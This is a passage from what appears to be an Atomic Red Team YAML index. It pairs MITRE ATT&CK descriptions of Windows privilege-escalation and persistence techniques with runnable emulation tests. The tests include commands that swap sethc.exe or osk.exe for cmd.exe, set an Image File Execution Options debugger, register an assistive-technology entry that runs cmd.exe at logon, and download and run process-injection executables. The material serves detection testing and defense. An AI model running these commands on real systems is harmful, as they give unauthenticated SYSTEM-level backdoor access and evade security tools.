      - url: https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx
        description: Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved
          December 20, 2017.
        source_name: Microsoft Where to use TxF
      - url: https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf
        description: 'Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction:
          Process Doppelgänging. Retrieved December 20, 2017.'
        source_name: BlackHat Process Doppelgänging Dec 2017
      - url: https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/
        description: hasherezade. (2017, December 18). Process Doppelgänging – a new
          way to impersonate a process. Retrieved December 20, 2017.
        source_name: hasherezade Process Doppelgänging Dec 2017
      - url: https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx
        description: Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved
          December 20, 2017.
        source_name: Microsoft PsSetCreateProcessNotifyRoutine routine
      modified: '2022-04-25T14:00:00.188Z'
      name: Process Doppelgänging
      description: "Adversaries may inject malicious code into process via process
        doppelgänging in order to evade process-based defenses as well as possibly
        elevate privileges. Process doppelgänging is a method of executing arbitrary
        code in the address space of a separate live process. \n\nWindows Transactional
        NTFS (TxF) was introduced in Vista as a method to perform safe file operations.
        (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted
        handle to write to a file at a given time. Until the write handle transaction
        is terminated, all other handles are isolated from the writer and may only
        read the committed version of the file that existed at the time the handle
        was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption,
        TxF performs an automatic rollback if the system or application fails during
        a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated,
        the TxF application programming interface (API) is still enabled as of Windows
        10. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nAdversaries may
        abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055).
        Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012),
        process doppelgänging involves replacing the memory of a legitimate process,
        enabling the veiled execution of malicious code that may evade defenses and
        detection. Process doppelgänging's use of TxF also avoids the use of highly-monitored
        API functions such as <code>NtUnmapViewOfSection</code>, <code>VirtualProtectEx</code>,
        and <code>SetThreadContext</code>. (Citation: BlackHat Process Doppelgänging
        Dec 2017)\n\nProcess Doppelgänging is implemented in 4 steps (Citation: BlackHat
        Process Doppelgänging Dec 2017):\n\n* Transact – Create a TxF transaction
        using a legitimate executable then overwrite the file with malicious code.
        These changes will be isolated and only visible within the context of the
        transaction.\n* Load – Create a shared section of memory and load the malicious
        executable.\n* Rollback – Undo changes to original executable, effectively
        removing malicious code from the file system.\n* Animate – Create a process
        from the tainted section of memory and initiate execution.\n\nThis behavior
        will likely not result in elevated privileges since the injected process was
        spawned from (and thus inherits the security context) of the injecting process.
        However, execution via process doppelgänging may evade detection from security
        products since the execution is masked under a legitimate process. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: |-
        Monitor and analyze calls to <code>CreateTransaction</code>, <code>CreateFileTransacted</code>, <code>RollbackTransaction</code>, and other rarely used functions indicative of TxF activity. Process Doppelgänging also invokes an outdated and undocumented implementation of the Windows process loader via calls to <code>NtCreateProcessEx</code> and <code>NtCreateThreadEx</code> as well as API calls used to modify memory within another process, such as <code>WriteProcessMemory</code>. (Citation: BlackHat Process Doppelgänging Dec 2017) (Citation: hasherezade Process Doppelgänging Dec 2017)

        Scan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelgänging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelgänging Dec 2017)

        Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Metadata'
      - 'Process: OS API Execution'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1574.005:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Travis Smith, Tripwire
      - Stefan Kanthak
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--70d81154-b187-45f9-8ec5-295d01255979
      type: attack-pattern
      created: '2020-03-13T11:12:18.558Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1574.005
        url: https://attack.mitre.org/techniques/T1574/005
      - source_name: mozilla_sec_adv_2012
        url: https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/
        description: Robert Kugler. (2012, November 20). Mozilla Foundation Security
          Advisory 2012-98. Retrieved March 10, 2017.
      - source_name: Executable Installers are Vulnerable
        url: https://seclists.org/fulldisclosure/2015/Dec/34
        description: 'Stefan Kanthak. (2015, December 8). Executable installers are
          vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation
          of privilege. Retrieved December 4, 2014.'
      modified: '2020-10-27T14:49:39.188Z'
      name: Executable Installer File Permissions Weakness
      description: |-
        Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

        Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).

        Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012)  (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: |-
        Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.

        Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Service: Service Metadata'
      - 'File: File Modification'
      - 'File: File Creation'
      - 'Process: Process Creation'
      - 'Module: Module Load'
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_effective_permissions:
      - Administrator
      - User
      - SYSTEM
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1546.008:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Event Triggered Execution: Accessibility Features'
      description: |-
        Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.

        Two common accessibility programs are <code>C:\Windows\System32\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\Windows\System32\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)

        Depending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.

        For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\Windows\System32\utilman.exe</code>) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

        Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)

        * On-Screen Keyboard: <code>C:\Windows\System32\osk.exe</code>
        * Magnifier: <code>C:\Windows\System32\Magnify.exe</code>
        * Narrator: <code>C:\Windows\System32\Narrator.exe</code>
        * Display Switcher: <code>C:\Windows\System32\DisplaySwitch.exe</code>
        * App Switcher: <code>C:\Windows\System32\AtBroker.exe</code>
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - Paul Speulstra, AECOM Global Security Operations Center
      x_mitre_deprecated: false
      x_mitre_detection: Changes to accessibility utility binaries or binary paths
        that do not correlate with known software, patch cycles, etc., are suspicious.
        Command line invocation of tools capable of modifying the Registry for associated
        keys are also suspicious. Utility arguments and the binaries themselves should
        be monitored for changes. Monitor Registry keys within <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
        NT\CurrentVersion\Image File Execution Options</code>.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_effective_permissions:
      - SYSTEM
      x_mitre_permissions_required:
      - Administrator
      type: attack-pattern
      id: attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5
      created: '2020-01-24T14:32:40.315Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1546/008
        external_id: T1546.008
      - source_name: Narrator Accessibility Abuse
        description: Comi, G. (2019, October 19). Abusing Windows 10 Narrator's 'Feedback-Hub'
          URI for Fileless Persistence. Retrieved April 28, 2020.
        url: https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html
      - source_name: FireEye Hikit Rootkit
        description: 'Glyer, C., Kazanciyan, R. (2012, August 20). The “Hikit” Rootkit:
          Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.'
        url: https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html
      - source_name: DEFCON2016 Sticky Keys
        description: Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to
          the Kingdom. Retrieved July 5, 2017.
        url: https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom
      - source_name: Tilbury 2014
        description: Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse.
          Retrieved November 12, 2014.
        url: http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1546.008
    atomic_tests:
    - name: Attaches Command Prompt as a Debugger to a List of Target Processes
      auto_generated_guid: 3309f53e-b22b-4eb6-8fd2-a6cf58b355a9
      description: |
        Attaches cmd.exe to a list of processes. Configure your own Input arguments to a different executable or list of executables.
        Upon successful execution, powershell will modify the registry and swap osk.exe with cmd.exe.
      supported_platforms:
      - windows
      input_arguments:
        parent_list:
          description: 'Comma separated list of system binaries to which you want
            to attach each #{attached_process}. Default: "osk.exe"

            '
          type: string
          default: osk.exe, sethc.exe, utilman.exe, magnify.exe, narrator.exe, DisplaySwitch.exe,
            atbroker.exe
        attached_process:
          description: 'Full path to process to attach to target in #{parent_list}.
            Default: cmd.exe

            '
          type: path
          default: C:\windows\system32\cmd.exe
      executor:
        command: |
          $input_table = "#{parent_list}".split(",")
          $Name = "Debugger"
          $Value = "#{attached_process}"
          Foreach ($item in $input_table){
            $item = $item.trim()
            $registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$item"
            IF(!(Test-Path $registryPath))
            {
              New-Item -Path $registryPath -Force
              New-ItemProperty -Path $registryPath -Name $name -Value $Value -PropertyType STRING -Force
            }
            ELSE
            {
              New-ItemProperty -Path $registryPath -Name $name -Value $Value
            }
          }
        cleanup_command: |
          $input_table = "#{parent_list}".split(",")
          Foreach ($item in $input_table)
          {
            $item = $item.trim()
            reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$item" /v Debugger /f 2>&1 | Out-Null
          }
        name: powershell
        elevation_required: true
    - name: Replace binary of sticky keys
      auto_generated_guid: 934e90cf-29ca-48b3-863c-411737ad44e3
      description: 'Replace sticky keys binary (sethc.exe) with cmd.exe

        '
      supported_platforms:
      - windows
      executor:
        command: |
          IF NOT EXIST C:\Windows\System32\sethc_backup.exe (copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc_backup.exe) ELSE ( pushd )
          takeown /F C:\Windows\System32\sethc.exe /A
          icacls C:\Windows\System32\sethc.exe /grant Administrators:F /t
          copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
        cleanup_command: 'copy /Y C:\Windows\System32\sethc_backup.exe C:\Windows\System32\sethc.exe

          '
        name: command_prompt
        elevation_required: true
    - name: Create Symbolic Link From osk.exe to cmd.exe
      auto_generated_guid: 51ef369c-5e87-4f33-88cd-6d61be63edf2
      description: 'Replace accessiblity executable with cmd.exe to provide elevated
        command prompt from login screen without logging in.

        '
      supported_platforms:
      - windows
      executor:
        command: |
          IF NOT EXIST %windir%\System32\osk.exe.bak (copy %windir%\System32\osk.exe %windir%\System32\osk.exe.bak) ELSE ( pushd )
          takeown /F %windir%\System32\osk.exe /A
          icacls %windir%\System32\osk.exe /grant Administrators:F /t
          del %windir%\System32\osk.exe
          mklink %windir%\System32\osk.exe %windir%\System32\cmd.exe
        cleanup_command: |
          takeown /F %windir%\System32\osk.exe /A
          icacls %windir%\System32\osk.exe /grant Administrators:F /t
          del %windir%\System32\osk.exe
          copy /Y %windir%\System32\osk.exe.bak %windir%\System32\osk.exe
          icacls %windir%\system32\osk.exe /inheritance:d
          icacls %windir%\system32\osk.exe /setowner "NT SERVICE\TrustedInstaller"
          icacls %windir%\System32\osk.exe /grant "NT SERVICE\TrustedInstaller":F /t
          icacls %windir%\system32\osk.exe /grant:r SYSTEM:RX
          icacls %windir%\system32\osk.exe /grant:r Administrators:RX
        name: command_prompt
        elevation_required: true
    - name: Atbroker.exe (AT) Executes Arbitrary Command via Registry Key
      auto_generated_guid: 444ff124-4c83-4e28-8df6-6efd3ece6bd4
      description: 'Executes code specified in the registry for a new AT (Assistive
        Technologies).

        '
      supported_platforms:
      - windows
      executor:
        command: |
          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /f
          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /v TerminateOnDesktopSwitch /t REG_DWORD /d 0 /f
          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /v StartEXE /t REG_SZ /d C:\WINDOWS\system32\cmd.exe /f
          atbroker /start malware_test
        cleanup_command: 'reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test"
          /f

          '
        name: command_prompt
        elevation_required: true
    - name: Auto-start application on user logon
      auto_generated_guid: 7125eba8-7b30-426b-9147-781d152be6fb
      description: |
        Executes code specified in the registry on new user logon session automatically by registration of new AT and modification of configuration value.
        This test will register new AT named malware_test with code for cmd.exe and add a configuration value for the code to be run during user logon session.
      supported_platforms:
      - windows
      executor:
        command: |
          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /f
          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /v TerminateOnDesktopSwitch /t REG_DWORD /d 0 /f
          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /v StartEXE /t REG_SZ /d C:\WINDOWS\system32\cmd.exe /f
          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs" /v Configuration /t REG_SZ /d malware_test /f
        cleanup_command: |
          reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /f
          reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs" /v Configuration /f
        name: command_prompt
        elevation_required: true
  T1055.004:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605
      type: attack-pattern
      created: '2020-01-14T01:29:43.786Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1055.004
        url: https://attack.mitre.org/techniques/T1055/004
      - url: https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx
        description: Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December
          8, 2017.
        source_name: Microsoft APC
      - url: https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/
        description: Gavriel, H. & Erbesfeld, B. (2018, April 11). New ‘Early Bird’
          Code Injection Technique Discovered. Retrieved May 24, 2018.
        source_name: CyberBit Early Bird Apr 2018
      - url: https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows
        description: 'Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE
          INJECTION FOR WINDOWS. Retrieved December 8, 2017.'
        source_name: ENSIL AtomBombing Oct 2016
      - url: https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx
        description: Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.
        source_name: Microsoft Atom Table
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Process Injection: Asynchronous Procedure Call'
      description: "Adversaries may inject malicious code into processes via the asynchronous
        procedure call (APC) queue in order to evade process-based defenses as well
        as possibly elevate privileges. APC injection is a method of executing arbitrary
        code in the address space of a separate live process. \n\nAPC injection is
        commonly performed by attaching malicious code to the APC Queue (Citation:
        Microsoft APC) of a process's thread. Queued APC functions are executed when
        the thread enters an alterable state.(Citation: Microsoft APC) A handle to
        an existing victim process is first created with native Windows API calls
        such as <code>OpenThread</code>. At this point <code>QueueUserAPC</code> can
        be used to invoke a function (such as <code>LoadLibrayA</code> pointing to
        a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\",
        involves creating a suspended process in which malicious code can be written
        and executed before the process' entry point (and potentially subsequent anti-malware
        hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation:
        ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke
        malicious code previously written to the global atom table.(Citation: Microsoft
        Atom Table)\n\nRunning code in the context of another process may allow access
        to the process's memory, system/network resources, and possibly elevated privileges.
        Execution via APC injection may also evade detection from security products
        since the execution is masked under a legitimate process. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: "Monitoring Windows API calls indicative of the various types
        of code injection may generate a significant amount of data and may not be
        directly useful for defense unless collected under specific circumstances
        for known bad sequences of calls, since benign use of API functions may be
        common and difficult to distinguish from malicious behavior. Windows API calls
        such as <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>,
        <code>QueueUserAPC</code>/<code>NtQueueApcThread</code>, and those that can
        be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>,
        may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze
        process behavior to determine if a process is performing actions it usually
        does not, such as opening network connections, reading files, or other suspicious
        actions that could relate to post-compromise behavior. "
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Access'
      - 'Process: Process Modification'
      x_mitre_defense_bypassed:
      - Application control
      - Anti-virus
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1055.004
    atomic_tests:
    - name: Process Injection via C#
      auto_generated_guid: 611b39b7-e243-4c81-87a4-7145a90358b1
      description: |
        Process Injection using C#
        reference: https://github.com/pwndizzle/c-sharp-memory-injection
        Excercises Five Techniques
        1. Process injection
        2. ApcInjectionAnyProcess
        3. ApcInjectionNewProcess
        4. IatInjection
        5. ThreadHijack
        Upon successful execution, cmd.exe will execute T1055.exe, which exercises 5 techniques. Output will be via stdout.
      supported_platforms:
      - windows
      input_arguments:
        exe_binary:
          description: Output Binary
          type: path
          default: PathToAtomicsFolder\T1055.004\bin\T1055.exe
      dependency_executor_name: powershell
      dependencies:
      - description: "#{exe_binary} must be exist on system.\n"
        prereq_command: 'if (Test-Path "#{exe_binary}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{exe_binary}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.004/bin/T1055.exe" -OutFile "#{exe_binary}"
      executor:
        command: '"#{exe_binary}"

          '
        name: command_prompt
    - name: EarlyBird APC Queue Injection in Go
      auto_generated_guid: 73785dd2-323b-4205-ab16-bb6f06677e14
      description: "Creates a process in a suspended state and calls QueueUserAPC
        WinAPI to add a UserAPC to the child process that points to allocated shellcode.
        \nResumeThread is called which then calls NtTestAlert to execute the created
        UserAPC which then executes the shellcode.\nThis technique allows for the
        early execution of shellcode and potentially before AV/EDR can hook functions
        to support detection.\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocesswithpipe)\n-
        References: \n  - https://www.bleepingcomputer.com/news/security/early-bird-code-injection-technique-helps-malware-stay-undetected/\n
        \ - https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection\n"
      supported_platforms:
      - windows
      input_arguments:
        spawn_process_path:
          description: Path of the binary to spawn
          type: string
          default: C:\Windows\System32\werfault.exe
        spawn_process_name:
          description: Name of the process to spawn
          type: string
          default: werfault
      executor:
        name: powershell
        elevation_required: false
        command: '$PathToAtomicsFolder\T1055.004\bin\x64\EarlyBird.exe -program "#{spawn_process_path}"
          -debug

          '
        cleanup_command: |
          Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
          Stop-Process -Name "#{spawn_process_name}" -ErrorAction SilentlyContinue
    - name: Remote Process Injection with Go using NtQueueApcThreadEx WinAPI
      auto_generated_guid: 4cc571b1-f450-414a-850f-879baf36aa06
      description: "Uses the undocumented NtQueueAPCThreadEx WinAPI to create a \"Special
        User APC\" in the current thread of the current process to execute shellcode.
        \nSince the shellcode is loaded and executed in the current process it is
        considered local shellcode execution.\n\nSteps taken with this technique\n1.
        Allocate memory for the shellcode with VirtualAlloc setting the page permissions
        to Read/Write\n2. Use the RtlCopyMemory macro to copy the shellcode to the
        allocated memory space\n3. Change the memory page permissions to Execute/Read
        with VirtualProtect\n4. Get a handle to the current thread\n5. Execute the
        shellcode in the current thread by creating a Special User APC through the
        NtQueueApcThreadEx function\n\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#rtlcreateuserthread)\n-
        References:\n  - https://repnz.github.io/posts/apc/user-apc/\n  - https://docs.rs/ntapi/0.3.1/ntapi/ntpsapi/fn.NtQueueApcThreadEx.html\n
        \ - https://0x00sec.org/t/process-injection-apc-injection/24608\n  - https://twitter.com/aionescu/status/992264290924032005\n
        \ - http://www.opening-windows.com/techart_windows_vista_apc_internals2.htm#_Toc229652505\n"
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: "$PathToAtomicsFolder\\T1055.004\\bin\\x64\\NtQueueApcThreadEx.exe
          -debug\n"
        cleanup_command: Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
  T1546.009:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c
      type: attack-pattern
      created: '2020-01-24T14:47:41.795Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1546.009
        url: https://attack.mitre.org/techniques/T1546/009
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        source_name: TechNet Autoruns
      - url: https://forum.sysinternals.com/appcertdlls_topic12546.html
        description: Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls.
          Retrieved December 18, 2017.
        source_name: Sysinternals AppCertDlls Oct 2007
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Event Triggered Execution: AppCert DLLs'
      description: "Adversaries may establish persistence and/or elevate privileges
        by executing malicious content triggered by AppCert DLLs loaded into processes.
        Dynamic-link libraries (DLLs) that are specified in the <code>AppCertDLLs</code>
        Registry key under <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session
        Manager\\</code> are loaded into every process that calls the ubiquitously
        used application programming interface (API) functions <code>CreateProcess</code>,
        <code>CreateProcessAsUser</code>, <code>CreateProcessWithLoginW</code>, <code>CreateProcessWithTokenW</code>,
        or <code>WinExec</code>. (Citation: Elastic Process Injection July 2017)\n\nSimilar
        to [Process Injection](https://attack.mitre.org/techniques/T1055), this value
        can be abused to obtain elevated privileges by causing a malicious DLL to
        be loaded and run in the context of separate processes on the computer. Malicious
        AppCert DLLs may also provide persistence by continuously being triggered
        by API activity. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: "Monitor DLL loads by processes, specifically looking for
        DLLs that are not recognized or not normally loaded into a process. Monitor
        the AppCertDLLs Registry value for modifications that do not correlate with
        known software, patch cycles, etc. Monitor and analyze application programming
        interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx
        and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \n\nTools
        such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting
        location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls
        Oct 2007)\n\nLook for abnormal process behavior that may be due to a process
        loading a malicious DLL. Data and events should not be viewed in isolation,
        but as part of a chain of behavior that could lead to other activities, such
        as making network connections for Command and Control, learning details about
        the environment through Discovery, and conducting Lateral Movement."
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: Process Creation'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_effective_permissions:
      - Administrator
      - SYSTEM
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1546.009
    atomic_tests:
    - name: Create registry persistence via AppCert DLL
      auto_generated_guid: a5ad6104-5bab-4c43-b295-b4c44c7c6b05
      description: "Creates a new 'AtomicTest' value pointing to an AppCert DLL in
